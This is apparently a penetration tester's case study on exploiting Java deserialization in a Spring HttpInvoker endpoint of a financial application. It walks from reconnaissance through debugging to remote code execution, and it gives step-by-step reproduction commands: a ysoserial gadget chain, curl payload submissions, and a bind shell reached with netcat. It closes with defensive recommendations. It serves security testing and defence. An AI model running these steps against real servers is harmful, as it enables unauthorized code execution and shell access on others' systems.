From Serialized Bytes to Shell:

  • Blog
  • From Serialized Bytes to Shell:

Exploiting Java Deserialization in Spring HttpInvoker

A Penetration Testing Case Study – by Teodor Lupan

Abstract

This paper documents the exploitation of an insecure deserialization vulnerability discovered during an authorized penetration test of an enterprise financial management application (“DebtApp”). The application uses Spring Framework’s HttpInvoker protocol, which relies on native Java serialization for client-server communication. We describe the complete journey from initial reconnaissance through to achieving a fully interactive shell on the production server, including the technical obstacles encountered and how they were systematically overcome.

The exploitation process revealed two significant technical challenges that are not well-documented in existing deserialization exploit literature: (1) Java serialization handle table corruption when attempting to manually construct composite serialized streams, and (2) a subtle bytecode version incompatibility between the attacker’s Java runtime and the target server that caused exploit payloads to fail silently. We detail the root causes and solutions for each.

The final exploit achieved unauthenticated Remote Code Execution (RCE) on the target server, demonstrating the critical risk posed by Java deserialization in enterprise applications.

1. Introduction and Target Overview

DebtApp is an enterprise-grade debt collection and management platform deployed in a financial institution’s internal network. The application follows a traditional thick-client architecture: a Java Swing desktop application communicates with a JBoss EAP 7.1 application server over HTTP/HTTPS using Spring Framework’s HttpInvoker remoting protocol.

The HttpInvoker protocol works as follows: the client constructs a RemoteInvocation object containing the method name, parameter types, and arguments for the desired remote method call. This object is serialized using Java’s native ObjectOutputStream and sent as the HTTP request body. The server deserializes the object using ObjectInputStream, dispatches the method call, and returns the serialized result.

This architecture creates a direct attack surface: if the server deserializes incoming objects without filtering, an attacker can substitute a malicious gadget chain in place of the expected method arguments, achieving arbitrary code execution during the deserialization process itself — before any business logic or authentication checks run.

1.1 Infrastructure Layout

The target server was accessible through two network paths:

  • Port 4443 (HTTPS): Apache 2.4.62 reverse proxy forwarding to JBoss EAP
  • Port 8180 (HTTP): Direct JBoss EAP 7.1 access (Undertow web server)

The server ran Red Hat Enterprise Linux 9.6 with OpenJDK 1.8.0_432 (Java 8). The DebtApp application was deployed as a WAR file on JBoss EAP and exposed 253 Spring HttpInvoker remoting endpoints at the URL pattern /CRSServicesWeb/remoting/<ServiceName>-httpinvoker.

2. Reconnaissance and Attack Surface Analysis

2.1 Intercepting Legitimate Traffic

Using Burp Suite as an intercepting proxy, we captured the thick client’s network traffic during normal operation. This revealed several critical details:

  • All remoting requests used Content-Type: text/plain (not application/x-java-serialized-object as might be expected)
  • The HTTP body started with the Java serialization magic bytes 0xACED0005, confirming native Java serialization
  • Custom headers were present: TITANIUM_REQUESTOR_HOSTNAME and USER_LOGGING_FLAG
  • The server responded with Content-Type: application/x-java-serialized-object

2.2 Binary Analysis of the Serialized Stream

We captured a legitimate serialized request body (legit_body.bin) and analyzed its structure. The stream contained a RemoteInvocation object wrapping the method name, parameter types, and an Object[] arguments array. The arguments contained standard Java objects (DTOs, strings, etc.) expected by the target service method.

The key insight was that the arguments array could contain any serializable Java object — the deserialization process would instantiate whatever classes were in the stream, regardless of whether they matched the expected method signature. The type check only happens after deserialization, when the method is dispatched.

2.3 Classpath Enumeration

Analysis of the client application’s JAR files revealed the following gadget-chain-relevant libraries on the classpath:

  • commons-beanutils — provides BeanComparator (CB1 chain trigger)
  • JDK internal: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (bytecode loading primitive)
  • Spring Framework core — provides RemoteInvocation and related classes

The presence of commons-beanutils alongside the JDK’s TemplatesImpl class was sufficient for the CommonsBeanutils1-NoCommonsCollections (CB1-NoCC) gadget chain, which does not require commons-collections at all.

3. First Attempts: Failures and False Leads

3.1 The 500-Error Wall

Our first exploitation attempts used ysoserial to generate standard CommonsCollections7 (CC7) payloads, which we wrapped in a RemoteInvocation binary envelope and sent to the HTTPS endpoint on port 4443. Every single attempt returned HTTP 500 with a 510-byte generic HTML error page.

We then tried the direct JBoss port 8180 — same result. We iterated through multiple chain types (CC1 through CC7, CB1, Spring1, Hibernate1), different endpoints, different Content-Type headers, with and without the custom headers observed in legitimate traffic. All returned the same 510-byte 500 error.

3.2 The Misleading Server Header

An important observation during this phase was that on port 4443, the 500-error responses had a Server: Apache header, while legitimate requests returned Server: JBoss-EAP/7. We initially hypothesized that the Apache reverse proxy was acting as a Web Application Firewall (WAF), inspecting the HTTP body for known Java exploit class names (which appear in plaintext in serialized streams, e.g. “org.apache.commons.collections.functors.InvokerTransformer”) and blocking matching requests.

This hypothesis seemed plausible — the server header difference was a strong signal. However, as we would later discover, this was a red herring. The actual cause was entirely different, and the server header difference was simply normal reverse proxy behavior when the backend returns a 500 error.

3.3 Attempt: Manual Binary Concatenation

Our initial approach to constructing the wrapped payload was to manually concatenate binary fragments: a legit_body.bin prefix (containing the RemoteInvocation header and Object[] array descriptor), the raw ysoserial gadget payload bytes, and a suffix (containing the method name and parameter types from the legitimate request).

This failed with StreamCorruptedException on every attempt. The reason is fundamental to how Java serialization works: the serialization format uses an internal handle table that assigns sequential integer references to every class descriptor and object in the stream. When you splice pre-serialized bytes into a different stream, the handle references in the spliced bytes point to the wrong objects, corrupting the entire stream.

The solution was to construct the entire serialized stream in a single pass: programmatically instantiate the gadget chain objects in memory, wrap them in a RemoteInvocation object, and serialize the complete object graph using Java’s ObjectOutputStream. This tool (WrapPayload.java, later CustomPayload.java) handled all handle reference assignments correctly.

4. The Real Obstacle: Bytecode Version Mismatch

4.1 Progressive Diagnosis

After solving the stream construction problem, payloads were syntactically valid but still returned 500 errors. To determine exactly where the failure occurred, we built a progressive diagnostic tool (DiagChain.java) that generated payloads of increasing complexity:

  • Test 1: PriorityQueue with String elements → HTTP 200 (deserialization succeeds)
  • Test 2: BeanComparator standalone → HTTP 200
  • Test 3: PriorityQueue + BeanComparator (without TemplatesImpl) → HTTP 500 (ClassCastException at runtime — expected, confirms execution)
  • Test 4: TemplatesImpl with armed bytecodes → HTTP 200 (deserialized, not triggered)
  • Test 5: Full CB1-NoCC chain → HTTP 500 with fast response (~0.04s)

The critical finding: Test 4 succeeded (TemplatesImpl was deserialized without error), but Test 5 failed. The difference was that in Test 5, BeanComparator triggered TemplatesImpl.getOutputProperties(), which called defineClass() on the embedded bytecodes. The fast response time indicated defineClass() was throwing an exception immediately — not executing the payload.

4.2 Root Cause: JVM Bytecode Version Incompatibility

The breakthrough came when we realized the issue was not in the gadget chain construction but in the bytecode embedded inside TemplatesImpl. Here is what happens during exploitation:

  • At payload creation time: Javassist generates a class (extending AbstractTranslet) containing the attacker’s code in a static initializer. This class is compiled to bytecodes.
  • These bytecodes are embedded in the TemplatesImpl object and serialized into the payload.
  • At deserialization time on the server: TemplatesImpl.defineTransletClasses() calls ClassLoader.defineClass() to load the bytecodes into the JVM.
  • defineClass() checks the class file version before loading it.

The Java class file format includes a major version number that indicates which JVM version compiled the class. A JVM will refuse to load classes compiled for a newer version. The version mapping is:

Java VersionBytecode MajorCompatible?
Java 852Yes ✔
Java 1155No ✘
Java 1761No ✘
Java 2165No ✘

Our attack machine ran Java 21, so Javassist generated bytecodes with major version 65. The target server ran Java 8, which can only load classes with major version 52 or below. When TemplatesImpl.defineClass() encountered version 65 bytecodes, it threw UnsupportedClassVersionError, which was caught and resulted in the HTTP 500 error — with no code execution.

Crucially, using –add-opens flags on Java 17/21 resolves module access restrictions for running ysoserial and Javassist, but does NOT affect the bytecode version. The generated bytecodes will still carry the host JVM’s version. This is a subtle but critical distinction that cost us significant debugging time.

4.3 The Fix: Java 8 for Payload Generation

The solution was straightforward once the root cause was identified: install Java 8 (Adoptium Temurin JDK 8u422-b05) on the attack machine and use it exclusively for all payload compilation and generation steps:

# Install Java 8

tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz

export J8=$(pwd)/jdk8u422-b05/bin/java

export JC8=$(pwd)/jdk8u422-b05/bin/javac

# Compile and generate payload with Java 8

$JC8 -cp .:ysoserial-all.jar CustomPayload.java

$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin

With Java 8, Javassist generated bytecodes with major version 52 — compatible with the server. The payload worked immediately.

5. Debunking the WAF Hypothesis

With the bytecode version issue resolved, we were able to definitively test whether the Apache reverse proxy was performing any content-based filtering.

We sent the corrected payload (generated with Java 8) to both ports:

  • Port 8180 (direct JBoss): HTTP 500, response time 10.05s — RCE confirmed
  • Port 4443 (through Apache): HTTP 500, response time 10.05s — RCE confirmed

Both ports executed the payload successfully. There was no WAF. The Apache reverse proxy was simply forwarding all requests to JBoss without content inspection.

The misleading Server: Apache header on error responses had a simple explanation: when JBoss returns a 500 error, the Apache reverse proxy replaces the response body with its own generic error page. This is standard reverse proxy behavior (ProxyErrorOverride or similar configuration). The header change from JBoss-EAP/7 to Apache was an artifact of this error page substitution, not evidence of request blocking.

This is an important lesson for penetration testers: when you see different Server headers between successful and failed requests through a reverse proxy, don’t immediately assume content filtering. The more likely explanation is that the proxy substitutes its own error response for backend errors. Always verify by testing with a payload that you know should work.

6. Successful Exploitation

6.1 Time-Based RCE Confirmation

The first confirmation of code execution used Thread.sleep(10000L) embedded in the TemplatesImpl bytecodes via Javassist. This is a pure-Java operation that causes a measurable, unambiguous server-side delay:

$ curl -k -s -X POST -H ‘Content-Type: text/plain’ \

    –data-binary @payload_sleep10.bin \

    -w ‘status=%{http_code} time=%{time_total}s\n’ \

    ‘http://TARGET:8180/CRSServicesWeb/remoting/\

     ReferenceObjectService-httpinvoker’

status=500 time=10.053217s     # <– 10 second delay = RCE

The 10.05-second response time (versus ~0.04s for failed payloads) conclusively proved that our code was executing on the server. The HTTP 500 status is expected — it occurs because RemoteInvocation method dispatch fails after the gadget chain fires during argument deserialization.

6.2 Obtaining an Interactive Shell

After confirming RCE, the next step was obtaining an interactive shell for further evidence gathering. We built a separate BindShell.java tool that used Javassist to embed Python socket bind shell code in the TemplatesImpl bytecodes:

# Generate bind shell payload on port 8181

$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell_8181.bin

# Terminal 1: Send payload

curl -k -s -X POST -H ‘Content-Type: text/plain’ \

    –data-binary @bindshell_8181.bin -o /dev/null \

    ‘http://TARGET:8180/CRSServicesWeb/remoting/\

     ReferenceObjectService-httpinvoker’

# Terminal 2: Connect to bind shell

sleep 2 && rlwrap nc TARGET 8181

The bind shell connected successfully, providing full interactive command execution on the target server.

6.3 Evidence Collected

The following information was gathered from the interactive shell to document the compromise:

$ id

uid=5000(appuser) gid=5000(appuser) groups=5000(appuser)

$ hostname -f

app01srv

$ uname -a

Linux app01srv 5.14.0-503.38.1.el9_5.x86_64 […] GNU/Linux

$ cat /etc/redhat-release

Red Hat Enterprise Linux release 9.6 (Plow)

$ java -version

openjdk version “1.8.0_432”

The shell ran as the application service account with access to all application files, configuration (including database connection strings and credentials), and the local filesystem.

7. Summary of Technical Challenges

Three significant obstacles were encountered during exploitation, in order of discovery:

Challenge 1: Serialization Handle Table Corruption

Problem: Manually splicing ysoserial-generated gadget bytes into a legitimate RemoteInvocation binary stream corrupted the Java serialization handle table, producing StreamCorruptedException.

Root cause: Java serialization assigns sequential handle references to every class and object. Injecting pre-serialized bytes shifts all subsequent references, breaking the stream.

Solution: Build the complete object graph (RemoteInvocation + gadget chain) in memory and serialize in a single ObjectOutputStream.writeObject() call. This correctly assigns all handle references.

Challenge 2: Misattributed Failures (The False WAF Hypothesis)

Problem: Exploit payloads sent through the Apache reverse proxy (port 4443) returned HTTP 500 with Server: Apache headers, while legitimate requests returned Server: JBoss-EAP/7. This led to the hypothesis that Apache was running mod_security or similar WAF rules blocking Java exploit class names.

Root cause: There was no WAF. The Apache proxy was forwarding all requests to JBoss. The Server header difference occurred because Apache serves its own error page when the backend returns a 500 error — standard reverse proxy behavior. The actual 500 was caused by the bytecode version mismatch (Challenge 3).

Resolution: Once correct payloads (Java 8 bytecodes) were used, both port 4443 and port 8180 succeeded identically, proving no content filtering existed on either path.

Challenge 3: Bytecode Version Incompatibility (The Real Blocker)

Problem: All payloads generated on the attack machine (Java 21) failed with immediate HTTP 500 responses, despite correct stream construction and valid gadget chains.

Root cause: Javassist generates bytecodes with the host JVM’s class file version. Java 21 produces version 65 bytecodes, but the target server (Java 8) can only load version 52 or below. TemplatesImpl.defineClass() rejected the bytecodes with UnsupportedClassVersionError.

Critical detail: Using –add-opens flags on Java 17/21 resolves module access issues for running ysoserial, but has NO effect on bytecode version. This is a common misconception.

Solution: Install Java 8 on the attack machine and use it for all compilation and payload generation. The JDK 8 Javassist runtime produces version 52 bytecodes, which the server accepts.

8. Complete Reproduction Steps

The following is the minimal set of steps required to reproduce the exploit from scratch on a clean Kali Linux (or any Linux) machine:

Step 1: Install Java 8

wget https://github.com/adoptium/temurin8-binaries/releases/download/\

    jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz

tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz

export J8=$(pwd)/jdk8u422-b05/bin/java

export JC8=$(pwd)/jdk8u422-b05/bin/javac

Step 2: Download ysoserial

wget https://github.com/frohoff/ysoserial/releases/latest/download/\

    ysoserial-all.jar

Step 3: Create RemoteInvocation stub class (see source in paper)

mkdir -p org/springframework/remoting/support/

# [create RemoteInvocation.java – minimal stub with setters]

$JC8 org/springframework/remoting/support/RemoteInvocation.java

Step 4: Create and compile CustomPayload.java (see source in paper)

# CustomPayload.java uses Javassist + TemplatesImpl + BeanComparator

# to build CB1-NoCC chain wrapped in RemoteInvocation

$JC8 -cp .:ysoserial-all.jar CustomPayload.java

Step 5: Generate time-based RCE payload

$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin

Step 6: Send and confirm RCE

curl -k -s -X POST -H ‘Content-Type: text/plain’ \

    –data-binary @payload_sleep10.bin \

    -w ‘\nstatus=%{http_code} time=%{time_total}s\n’ \

    ‘http://TARGET:8180/CRSServicesWeb/remoting/\

     ReferenceObjectService-httpinvoker’

# If time ~= 10s: RCE confirmed

Step 7: Obtain interactive shell

# Terminal 1:

$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell.bin

curl -k -s -X POST -H ‘Content-Type: text/plain’ \

    –data-binary @bindshell.bin -o /dev/null \

    ‘http://TARGET:8180/CRSServicesWeb/remoting/\

     ReferenceObjectService-httpinvoker’

# Terminal 2:

sleep 2 && rlwrap nc TARGET 8181

9. Defensive Recommendations

9.1 For Defenders

  • Implement JEP 290 deserialization filtering immediately. Configure ObjectInputFilter to whitelist only expected classes (RemoteInvocation, application DTOs). This single control would have blocked the exploit entirely.
  • Require authentication on all remoting endpoints. The pre-authentication nature of this attack is its most dangerous aspect.
  • Restrict direct application server port access. Port 8180 should only be accessible to the reverse proxy, not to client networks.
  • Migrate from Java serialization to JSON/XML-based protocols. Spring has officially deprecated HttpInvoker for this reason.
  • Audit for vulnerable gadget libraries. commons-beanutils alone (without commons-collections) was sufficient for exploitation.

9.2 For Penetration Testers

  • Always match your Java version to the target. Bytecode version mismatch causes silent failures that look identical to blocked payloads.
  • Do not assume WAF based on server header changes. Reverse proxies routinely substitute error pages.
  • Use progressive diagnostic payloads. Test individual components (PriorityQueue, BeanComparator, TemplatesImpl) before the full chain to isolate failures.
  • Prefer Thread.sleep() for initial confirmation. It is pure Java (no OS dependencies), blocking (measurable delay), and unambiguous.
  • Build serialized streams programmatically. Never manually concatenate binary serialization fragments — handle table corruption is guaranteed.
  • Use Java 8 JDK for ysoserial/Javassist work targeting Java 8 servers. This is a non-negotiable requirement when the chain uses TemplatesImpl bytecodes.

10. Conclusion

This engagement demonstrated that insecure Java deserialization remains a critical risk in enterprise applications, particularly those using legacy remoting protocols like Spring HttpInvoker. The vulnerability required no authentication, no special network position, and no insider knowledge — only network access to an HTTP port and publicly available tools.

The most instructive aspect of this engagement was the debugging process. The actual exploit took under a second to execute, but identifying why it failed required systematic analysis of Java serialization internals, bytecode format specifications, and reverse proxy behavior. The false WAF hypothesis cost significant time and energy, while the real blocker (bytecode version 65 vs 52) had an extremely simple fix once diagnosed.

For organizations maintaining legacy Java applications with serialization-based remoting, the message is clear: migrate to safe serialization formats, implement JEP 290 filtering as an interim measure, ensure application server ports are not directly accessible, and require authentication on all remoting endpoints. Any single one of these controls would have prevented this exploit.

Appendix A: Tools and Resources

  • ysoserial — Java deserialization exploit framework (https://github.com/frohoff/ysoserial)
  • Javassist — Java bytecode manipulation library (bundled with ysoserial)
  • Adoptium Temurin JDK 8 — https://adoptium.net/temurin/releases/?version=8
  • JEP 290 — Filter Incoming Serialization Data (https://openjdk.org/jeps/290)
  • CWE-502: Deserialization of Untrusted Data (https://cwe.mitre.org/data/definitions/502.html)
  • OWASP Deserialization Cheat Sheet (https://cheatsheetseries.owasp.org/)

Appendix B: Disclosure

This research was conducted as part of an authorized penetration test engagement. All findings were reported to the application owner through the standard vulnerability reporting process. Exploit artifacts were securely transmitted and subsequently destroyed after the engagement concluded.

Identifying details (application name, client organization, hostnames, IP addresses, and network topology) have been anonymized in this publication to prevent identification of the affected system.